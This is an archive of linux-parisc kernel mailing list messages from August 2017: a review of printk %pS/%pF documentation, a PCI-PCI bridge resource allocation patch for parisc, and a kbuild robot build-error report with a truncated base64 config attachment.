> __func__ is just a pointer to a string.

OK, I'm still on vacation :-/

Yeah, I was looking for usages of %pF, and came across this:

		pr_warn("%s: NULL omap_sr from %pF\n",
			__func__, (void *)_RET_IP_);

And not noticing the first "%s" :-p

-- Steve

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Wed, 16 Aug 2017 17:14:25 +0900
Lines: 122
Approved: news@gmane.org
Message-ID: <20170816081425.GE522@jagdpanzerIV.localdomain>
References: <20170810173533.GA11600@ls3530.fritz.box>
 <20170811001521.GA520@jagdpanzerIV.localdomain>
 <47718712-9eb2-8ad7-965e-d0971d07e985@gmx.de>
 <20170815113625.GA2738@pathway.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1502871258 22493 195.159.176.226 (16 Aug 2017 08:14:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 16 Aug 2017 08:14:18 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: Helge Deller <deller@gmx.de>,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Petr Mladek <pmladek@suse.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 16 10:14:12 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dhtSo-0002nD-9X
	for glpp-linux-parisc@m.gmane.org; Wed, 16 Aug 2017 10:14:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751389AbdHPIOM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 16 Aug 2017 04:14:12 -0400
Original-Received: from mail-pf0-f195.google.com ([209.85.192.195]:35981 "EHLO
        mail-pf0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751082AbdHPIOJ (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 16 Aug 2017 04:14:09 -0400
Original-Received: by mail-pf0-f195.google.com with SMTP id t83so751202pfj.3;
        Wed, 16 Aug 2017 01:14:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=elXV3cFxuV9hlfkYZdzVHAFgkQZSNNpMsDlR7nE2InM=;
        b=ZpYl7XZLUyWogEhOvQCAAh40/xB+WUtJNj7mmo+TmDFTgZP/uvC5l8OpNT/pjL4ozb
         YdlnrTIyi5o4bgNsM2XVfmIC1mmqvit9gMrxFbhtl+pjDX6NCDi9o7rmLHzVWHAFI+MR
         dkeoFyR+ges2uPd7dwkx7I2FuPjvZbAqwDsfJWMabpKPGN8lfjDpmmbcLEm+uOgKTsPS
         kut5/VcuCQAdYbXzfFNxYgq3aHCkFERS4/ZOqofBgaN6MCI7vNlSEPULefJWfKK8S8PE
         lh7cJ/tjXs04xLT8Rnb/VVe5hvHUVV3QPiJ38wmKbwJewkDEDTMCPZ1vWPdkP8efl6V5
         PJdA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=elXV3cFxuV9hlfkYZdzVHAFgkQZSNNpMsDlR7nE2InM=;
        b=JI5qFoeAUwwSKIxijtCuRUbexE7Vbfne45rAE+MKKaaufUtFGO8Ygi8nqi9K6jg6un
         sGRxdh88JG2Ld5BY+sfQcWxdStOemgr2r03kMVKFUk0e0/s2hCZHgUwywFVh2tFMnZ1g
         6WkTNbjFEgS77PI/i9DGADj71L92TY7IrR9Yn6594Ivk7LZCvW8/yRIEhCALa+b29djd
         j/BD96Shua3mh0L7NfqFPw7BLi3iCLwGwK+XfQu3R9rONZC/xSAAJsIm2HZY5TUNNiD4
         2jF66VEo2nG1qSAh42bYy9QuvYEV0C9gWhW8bUdsECtzu0CRgOxi92aOWUHfjGqwcWKT
         2Fvw==
X-Gm-Message-State: AHYfb5jLWUv3BJlQinytoBNCFuub00pssp82J/GQb58RHTUxAukeEjJV
        vAJ0a8hVA9h4PA==
X-Received: by 10.84.209.205 with SMTP id y71mr991767plh.85.1502871249335;
        Wed, 16 Aug 2017 01:14:09 -0700 (PDT)
Original-Received: from localhost ([110.70.55.235])
        by smtp.gmail.com with ESMTPSA id g10sm942609pfj.7.2017.08.16.01.14.07
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 16 Aug 2017 01:14:07 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20170815113625.GA2738@pathway.suse.cz>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27676 gmane.linux.kernel:2549890
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27676>

Hello,

sorry for the delay.

On (08/15/17 13:36), Petr Mladek wrote:
[..]
> > Experts surely do know what function descriptors are.
> > Nevertheless even those often get it wrong as can be seen in
> > various commits.
> 
> It seems that these specifiers are used the wrong way on many
> locations. They might be worth fixing but I cannot test it
> easily.
> 
> Hmm, using %pF might actually cause a crash when used
> on direct function address.

:(

> > The hope with this patch is to show widely-used examples
> > and avoid additional commits afterwards to fix it up.
> 
> IMHO, one problem is that the meaning of ''F'' and ''f''
> is hidden at the end of the section. Also the first line
> 
>   'For printing symbols and function pointers. The ``S`` and ``s`` '
> 
> kind of invites to use ``S`` and ``s`` even for function pointers.
> I suggest to switch the order, slightly retranslate, add the
> examples, see below.

agree. that was my problem: I saw the examples, didn't quite
understand anything and had to read that documentation section
anyway.

> > This patch was meant to be RFC.
> > If you decide not to take it, I'm fine as well.
> > 
> > > *may be* on "ia64, ppc64 and parisc64" we can somehow check
> > > that the pointer, which we pass as %pS, belongs to .text and
> > > print some build-time warnings. well, if it's actually a
> > > problem. dunno.
> 
> I think that it would need to be a runtime check because many/most
> printed addresses are not statically defined.

yep, can do.

> > I think it's not needed. Those bugs will be seen and fixed.
> 
> I am not sure how many people are familiar with this problem.
> I might help to avoid some headaches when debugging.
> 
> If we add the warning, it should be ratelimited to reduce messing
> of the original message.

sure.

[..]
> From ef983c65095cada994c1fe531e2b98e936c943bf Mon Sep 17 00:00:00 2001
> From: Helge Deller <deller@gmx.de>
> Date: Tue, 15 Aug 2017 11:34:19 +0200
> Subject: [PATCH] printk-formats.txt: Better describe the difference between
>  %pS and %pF
> 
> Sometimes people seems unclear when to use the %pS or %pF printk format.
> For example, see commit 51d96dc2e2dc ("random: fix warning message on ia64
> and parisc") which fixed such a wrong format string.
> 
> The documentation should be more clear about the difference.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> [pmladek@suse.com: Restructure the entire section]
> Signed-off-by: Petr Mladek <pmladek@suse.com>

Reviewed-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>

> ---
>  Documentation/printk-formats.txt | 19 +++++++++++--------
>  1 file changed, 11 insertions(+), 8 deletions(-)
> 
> diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
> index 65ea5915178b..074670b98bac 100644
> --- a/Documentation/printk-formats.txt
> +++ b/Documentation/printk-formats.txt
> @@ -58,20 +58,23 @@ Symbols/Function Pointers
>  	%ps	versatile_init
>  	%pB	prev_fn_of_versatile_init+0x88/0x88
>  
> -For printing symbols and function pointers. The ``S`` and ``s`` specifiers
> -result in the symbol name with (``S``) or without (``s``) offsets. Where
> -this is used on a kernel without KALLSYMS - the symbol address is
> -printed instead.
> +The ``F`` and ``f`` specifiers are for printing function pointers,
> +for example, f->func, &gettimeofday. They have the same result as
> +``S`` and ``s`` specifiers. But they do an extra conversion on
> +ia64, ppc64 and parisc64 architectures where the function pointers
> +are actually function descriptors.
> +
> +The ``S`` and ``s`` specifiers can be used for printing symbols
> +from direct addresses, for example, __builtin_return_address(0),
> +(void *)regs->ip. They result in the symbol name with (``S``) or
> +without (``s``) offsets. If KALLSYMS are disabled then the symbol
> +address is printed instead.
>  
>  The ``B`` specifier results in the symbol name with offsets and should be
>  used when printing stack backtraces. The specifier takes into
>  consideration the effect of compiler optimisations which may occur
>  when tail-call``s are used and marked with the noreturn GCC attribute.
>  
> -On ia64, ppc64 and parisc64 architectures function pointers are
> -actually function descriptors which must first be resolved. The ``F`` and
> -``f`` specifiers perform this resolution and then provide the same
> -functionality as the ``S`` and ``s`` specifiers.
>  
>  Kernel Pointers
>  ===============
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix up devices below a PCI-PCI MegaRAID controller
 bridge
Date: Wed, 16 Aug 2017 18:53:16 +0200
Lines: 115
Approved: news@gmane.org
Message-ID: <20170816165316.GA11396@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1502902414 32726 195.159.176.226 (16 Aug 2017 16:53:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 16 Aug 2017 16:53:34 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 16 18:53:28 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1di1ZI-0006CJ-5I
	for glpp-linux-parisc@m.gmane.org; Wed, 16 Aug 2017 18:53:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751782AbdHPQx0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 16 Aug 2017 12:53:26 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:62118 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751772AbdHPQx0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 16 Aug 2017 12:53:26 -0400
Original-Received: from ls3530.fritz.box ([193.159.28.120]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LejNC-1dExaz07As-00qUrQ; Wed, 16
 Aug 2017 18:53:19 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:5nuLB1O7nzIZOEWQMWILbpySsvLa5ZCdYUnsJQc2fUHhbjck6uP
 JK1HlXdB1KjAEuJNax3wrbSRpXV7GZKzUTQW2t8UxfWFCMsjDo6jsB5rkIWbMAHXz3aathX
 NhnnXPXhIKpYBDL/5PSvza/QbIekl8nvnhEZUbZCLoK+SMf7WN8uEZpn2kP2WS1v3JYIzn2
 BWI+SQsr3tsCYxSn/KqJg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:uS5RoR/92hQ=:H3bh3m8/fIdT+IZPaElFH4
 ozAlduFnU77o5K6JvZtWAPPNT9sfWsC77aw6MCbv19hIm1nzias2rX04Kj3WbniKVCve4d0HR
 rUDepl5h5M5QN5t9f7sqGISejxaUTD5aUYiSYJHxvgAEP1J5WksM/G1a9knlMjIQ7Febbw7xL
 8jBUpzPB/QNwIbQoYkJDsY1N7/cwsmNbhqnAqm9CNniTbyhVlB0k1hFGwjsjtRINBujpadacz
 t9UNYucDoWLcK+cGpvTohhiFlrTwMEPqjoUwHUNZtDXRLqlTgcgvaKwaBjbIkGSXnEj2A+PaI
 Svcyn9pI3CYMkzC151bpKePuKiYmzXGDGsmpUrBzne7msrgxch54nmd4sbLMXmZ+smk8ER43o
 iIG8i2McuQ/2nKyHw25LV34On/vzCjGkRng1dx0oMNWCP4Wxqx53I7uoezV4M6iZI1DMdTH85
 3O4/xiwS3k0wty6UqmsS1Le6U134sCllN0BENQkredUFjJ2EFWSQCG0Rv8VpMcTydHCnZwNxi
 EDKer8iPlIKmpZK/p4q8WCcGx9gvp1pEsActZnVaakbH2dpOSSJ7JnI9hdfNEhr4jSyOiSk7R
 jl5SNZJlrcUmDb3UOW7dpGaq6/6LfU5gnmy4cVVNJpkNa3NEJPnUYZzLfvenWT8J+bU/tLgIn
 ry9V5RHmDWDAUCYtSDHDSNjA7LQDSPJNsDHOdjG7CzXF3xOmLZNB9TEFQ7Seek8FlRCH+MUWZ
 kDCPVcGy2BN8djjJUbnrThcoTYE8VzbR8EPgKIHiCs4onrbPrXNpwqc1HRn7QNelEcaAE4ui 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27677
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27677>

A MegaRAID PCI card in my rp5470 acts as PCI-PCI bridge.
Resource allocation for PCI devices behind such a bridge is quite incomplete,
so that syslog reports those warnings:

 LBA 0:10: PCI host bridge to bus 0000:50
 pci_bus 0000:50: root bus resource [io  0x80000-0x8ffff] (bus address [0x0000-0xffff])
 pci_bus 0000:50: root bus resource [mem 0xffffffff94000000-0xffffffff95ffffff] (bus address [0x94000000-0x95ffffff])
 pci_bus 0000:50: root bus resource [bus 50-57]
 pci 0000:50:00.0: [8086:0964] type 01 class 0x060400
 pci 0000:50:00.1: [8086:1960] type 00 class 0x0e0001
 pci 0000:50:00.1: reg 0x10: [mem 0x00000000-0x003fffff pref]
 pci 0000:50:00.1: reg 0x30: [mem 0x00000000-0x00007fff pref]
 pci 0000:50:00.0: Changing bridge control from 0x00000000 to 0x00000023
 pci_bus 0000:51: busn_res: can not insert [bus 51-ff] under [bus 50-57] (conflicts with (null) [bus 50-57])
 pci 0000:50:00.0: PCI bridge to [bus 51-ff]
 pci 0000:50:00.0:   bridge window [io  0x80000-0x80fff]
 pci 0000:50:00.0:   bridge window [mem 0x00000000-0x000fffff]
 pci 0000:50:00.0:   bridge window [mem 0x00000000-0x000fffff pref]
 pci 0000:50:00.0: can't claim BAR 14 [mem 0x00000000-0x000fffff]: no compatible bridge window
 pci 0000:50:00.0: can't claim BAR 15 [mem 0x00000000-0x000fffff pref]: no compatible bridge window
 pci 0000:50:00.0: can't claim BAR 16 [??? 0x00000000 flags 0x0]: no compatible bridge window
 pci_bus 0000:51: busn_res: [bus 51-ff] end is updated to 51
 pci 0000:50:00.0: BAR 16: [??? 0x00000000 flags 0x20000000] has bogus alignment
 pci 0000:50:00.1: BAR 0: assigned [mem 0xffffffff94000000-0xffffffff943fffff pref]
 pci 0000:50:00.0: BAR 14: assigned [mem 0xffffffff94400000-0xffffffff944fffff]
 pci 0000:50:00.0: BAR 15: assigned [mem 0xffffffff94500000-0xffffffff945fffff pref]
 pci 0000:50:00.1: BAR 6: assigned [mem 0xffffffff94600000-0xffffffff94607fff pref]
 pci 0000:50:00.0: PCI bridge to [bus 51]
 pci 0000:50:00.0:   bridge window [io  0x80000-0x80fff]
 pci 0000:50:00.0:   bridge window [mem 0xffffffff94400000-0xffffffff944fffff]
 pci 0000:50:00.0:   bridge window [mem 0xffffffff94500000-0xffffffff945fffff pref]

The patch below tries to improve the resource allocation.
Output is now:

 LBA 0:10: PCI host bridge to bus 0000:50
 pci_bus 0000:50: root bus resource [io  0x80000-0x8ffff] (bus address [0x0000-0xffff])
 pci_bus 0000:50: root bus resource [mem 0xffffffff94000000-0xffffffff95ffffff] (bus address [0x94000000-0x95ffffff])
 pci_bus 0000:50: root bus resource [bus 50-57]
 pci 0000:50:00.0: Changing bridge control from 0x00000000 to 0x00000023
 pci 0000:50:00.0: PCI bridge to [bus 51-ff]
 pci 0000:50:00.1: BAR 0: assigned [mem 0xffffffff94000000-0xffffffff943fffff pref]
 pci 0000:50:00.1: BAR 6: assigned [mem 0xffffffff94400000-0xffffffff94407fff pref]
 pci 0000:50:00.0: PCI bridge to [bus 51]
 pci 0000:50:00.0:   bridge window [io  0x80000-0x80fff]

Signed-off-by: Helge Deller <deller@gmx.de>
 
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index bc286cb..4dc6df3 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -667,6 +667,42 @@ extend_lmmio_len(unsigned long start, unsigned long end, unsigned long lba_len)
 #define truncate_pat_collision(r,n)  (0)
 #endif
 
+static void pcibios_allocate_bridge_resources(struct pci_dev *dev)
+{
+	int idx;
+	struct resource *r;
+
+	for (idx = PCI_BRIDGE_RESOURCES; idx < PCI_NUM_RESOURCES; idx++) {
+		r = &dev->resource[idx];
+		if (!r->flags)
+			continue;
+		if (r->parent)	/* Already allocated */
+			continue;
+		if (!r->start || pci_claim_bridge_resource(dev, idx) < 0) {
+			/*
+			 * Something is wrong with the region.
+			 * Invalidate the resource to prevent
+			 * child resource allocations in this
+			 * range.
+			 */
+			r->start = r->end = 0;
+			r->flags = 0;
+		}
+	}
+}
+
+static void pcibios_allocate_bus_resources(struct pci_bus *bus)
+{
+	struct pci_bus *child;
+
+	/* Depth-First Search on bus tree */
+	if (bus->self)
+		pcibios_allocate_bridge_resources(bus->self);
+	list_for_each_entry(child, &bus->children, node)
+		pcibios_allocate_bus_resources(child);
+}
+
+
 /*
 ** The algorithm is generic code.
 ** But it needs to access local data structures to get the IRQ base.
@@ -693,11 +729,11 @@ lba_fixup_bus(struct pci_bus *bus)
 	** pci_alloc_primary_bus() mangles this.
 	*/
 	if (bus->parent) {
-		int i;
 		/* PCI-PCI Bridge */
 		pci_read_bridge_bases(bus);
-		for (i = PCI_BRIDGE_RESOURCES; i < PCI_NUM_RESOURCES; i++)
-			pci_claim_bridge_resource(bus->self, i);
+
+		/* check an allocate bridge resources */
+		pcibios_allocate_bus_resources(bus);
 	} else {
 		/* Host-PCI Bridge */
 		int err;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <fengguang.wu@intel.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hp-parisc:boot-devel 1/1] arch/powerpc/boot/zutil.h:82:5: error:
 unknown type name 'uint32_t'
Date: Thu, 17 Aug 2017 07:47:17 +0800
Lines: 388
Approved: news@gmane.org
Message-ID: <201708170715.ql0u5Afx%fengguang.wu@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="+HP7ph2BbKc20aGI"
X-Trace: blaine.gmane.org 1502927264 10036 195.159.176.226 (16 Aug 2017 23:47:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 16 Aug 2017 23:47:44 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 17 01:47:39 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1di82B-00024p-CJ
	for glpp-linux-parisc@m.gmane.org; Thu, 17 Aug 2017 01:47:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752428AbdHPXrl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 16 Aug 2017 19:47:41 -0400
Original-Received: from mga09.intel.com ([134.134.136.24]:35199 "EHLO mga09.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752420AbdHPXrl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 16 Aug 2017 19:47:41 -0400
Original-Received: from orsmga004.jf.intel.com ([10.7.209.38])
  by orsmga102.jf.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 16 Aug 2017 16:47:40 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.41,385,1498546800"; 
   d="gz'50?scan'50,208,50";a="119817091"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by orsmga004.jf.intel.com with ESMTP; 16 Aug 2017 16:47:39 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <fengguang.wu@intel.com>)
        id 1di86m-0009OY-Lm; Thu, 17 Aug 2017 07:52:20 +0800
Content-Disposition: inline
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27678
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27678>


--+HP7ph2BbKc20aGI
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

tree:   https://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git boot-devel
head:   51e30412ea12a9febdbf33346f54541ce29f5e3a
commit: 51e30412ea12a9febdbf33346f54541ce29f5e3a [1/1] Initial support for compressed boot
config: powerpc-socrates_defconfig (attached as .config)
compiler: powerpc-linux-gnu-gcc (Debian 6.1.1-9) 6.1.1 20160705
reproduce:
        wget https://raw.githubusercontent.com/01org/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        git checkout 51e30412ea12a9febdbf33346f54541ce29f5e3a
        # save the attached .config to linux build tree
        make.cross ARCH=powerpc 

All errors (new ones prefixed by >>):

   In file included from arch/powerpc/boot/inffast.c:6:0:
   arch/powerpc/boot/zutil.h: In function 'zlib_adler32':
>> arch/powerpc/boot/zutil.h:82:5: error: unknown type name 'uint32_t'
        uint32_t s1 = adler & 0xffff;
        ^~~~~~~~
   arch/powerpc/boot/zutil.h:83:5: error: unknown type name 'uint32_t'
        uint32_t s2 = (adler >> 16) & 0xffff;
        ^~~~~~~~
--
   In file included from arch/powerpc/boot/inflate.c:12:0:
   arch/powerpc/boot/zutil.h: In function 'zlib_adler32':
>> arch/powerpc/boot/zutil.h:82:5: error: unknown type name 'uint32_t'
        uint32_t s1 = adler & 0xffff;
        ^~~~~~~~
   arch/powerpc/boot/zutil.h:83:5: error: unknown type name 'uint32_t'
        uint32_t s2 = (adler >> 16) & 0xffff;
        ^~~~~~~~
   arch/powerpc/boot/inflate.c: In function 'zlib_inflate':
>> arch/powerpc/boot/inflate.c:358:18: error: 'uint32_t' undeclared (first use in this function)
                    (uint32_t)(((BITS(8) << 8) + (hold >> 8))) % 31) { // avoid __umoddi3
                     ^~~~~~~~
   arch/powerpc/boot/inflate.c:358:18: note: each undeclared identifier is reported only once for each function it appears in

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--+HP7ph2BbKc20aGI
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
